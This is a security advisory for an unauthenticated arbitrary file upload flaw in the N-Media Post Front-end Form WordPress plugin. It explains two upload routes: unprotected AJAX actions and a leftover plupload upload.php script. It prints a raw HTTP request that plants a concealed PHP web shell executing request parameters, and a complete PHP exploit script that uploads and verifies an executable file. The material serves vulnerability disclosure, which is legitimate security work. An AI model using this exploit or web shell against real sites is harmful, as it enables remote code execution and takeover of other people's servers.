N-Media Post Front-end Form [Unauthenticated Arbitrary File Upload]
Description
Update 2016-09-20: This was disclosed here. It seems like the author of the plugin haven’t responded yet regarding this vulnerability.
This vulnerability is related to WooCommerce Product Addons [Unauthenticated Arbitrary File Upload] (DWF-2016-87130). They both use the same so called NM_Framwork framework, they are from the same author and both have an insecure implementation of the file upload functionality.
Method 1
Plugin registers a number of AJAX actions but it fails to sufficiently implement security controls in the callback functions. Additionally all AJAX actions are available to non-registered users. This allows a malicious user to perform various plugin actions almost without any restriction.
Those actions are defined in the \NM_Framwork_V1::$ajax_callbacks
property, setted in \NM_PLUGIN_PostFront::__construct()
and they
include:
- Updating plugin options
- Uploading files
- Saving new posts
The most severe is the uploading files action. This action calls the
method \NM_PLUGIN_PostFront::upload_file()
which does not implement
any security controls.
Method 2
Uploading files as an unauthenticated user is also possible if the
attacker calls the script wp-content/plugins/wp-post-frontend/js/plupload-2.1.2/examples/upload.php
.
This script is a leftover from the library plupload and it seems
that this is actively exploited in the wild. For this script to
work the PHP env var upload_tmp_dir
must be set and it has to point to
a location readable and writable by the user that executes the script.
In many systems this var is empty by default so the aforementioned script
will try to create a dir in system root folder so normally will fail.
In the case which this var is set and pointing to readable-writable dir then a request like the next one will upload a file in the vulnerable webserver.
POST /wp-content/plugins/wp-post-frontend/js/plupload-2.1.2/examples/upload.php HTTP/1.1
Connection: close
Cache-Control: max-age=259200
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0
Accept: */*
Accept-Encoding: gzip, deflate
Host: [HOST]
Content-Type: multipart/form-data; boundary=b68f545166fc4410a70dea7b2e10d27d
Content-Length: 397
--b68f545166fc4410a70dea7b2e10d27d
Content-Disposition: form-data; name="name"
wp-classes.php
--b68f545166fc4410a70dea7b2e10d27d
Content-Disposition: form-data; name="file"; filename="wp-classes.php"
Content-Type: image/gif
Expires: 0
<?php if (!isset($_REQUEST['e44e'])) header("HTTP/1.0 404 Not Found"); @preg_replace('/(.*)/e', @$_REQUEST['e44e'], ''); ?>
--b68f545166fc4410a70dea7b2e10d27d--
Yet this file will be under upload_tmp_dir
and other techniques, like
directory traversal, might have to be introduced in order for the
attacker to access the uploaded file.
PoC
#!/usr/bin/env php
<?php
/*******************************************************************************
* N-Media Post Front-end Form [Unauthenticated Arbitrary File Upload]
*
* Author: Pan Vag <[email protected]>
* To install deps run `composer install`
******************************************************************************/
require_once 'vendor/autoload.php';
use Wordfence\ExKit\Cli;
use Wordfence\ExKit\Config;
use Wordfence\ExKit\Endpoint;
use Wordfence\ExKit\ExitCodes;
use Wordfence\ExKit\Request;
$url = Config::get( 'url.base', null, true, 'Enter the site URL' );
if ( ! $url ) {
Cli::writeError( 'You must enter a valid URL' );
exit( ExitCodes::EXIT_CODE_FAILED_PRECONDITION );
}
$fileName = uniqid() . '.php5';
$identifier = uniqid();
$postData = [
'action' => 'nm_postfront_upload_file',
'name' => $fileName
];
Cli::writeInfo('Sending payload...');
$s = new \Wordfence\ExKit\Session();
//$s->XDebugOn();
$r = $s->upload( Endpoint::adminAjaxURL(),
$postData,
[
'file' => [
'fileContents' => "<?php echo '{$identifier}';",
'fileName' => $fileName,
'contentType' => 'image/png',
],
] );
$rJson = @json_decode($r->body);
if(!isset($rJson->file_name)){
ExitCodes::exitWithFailed('Upload failed');
}
Cli::writeInfo('Verifying exploit...');
$uploadsPath = Endpoint::uploadsURL().'/post_files/'.$rJson->file_name;
$r = Request::get($uploadsPath);
if(!$r->success || $r->body != $identifier){
ExitCodes::exitWithFailed('Verification failed');
}
ExitCodes::exitWithSuccess('Exploitation successful');
- 6 September 2016
- Pan Vag
- wordpresspoets.com
- wordpress.org
- WordPress 4.5.2
- DWF-2016-87132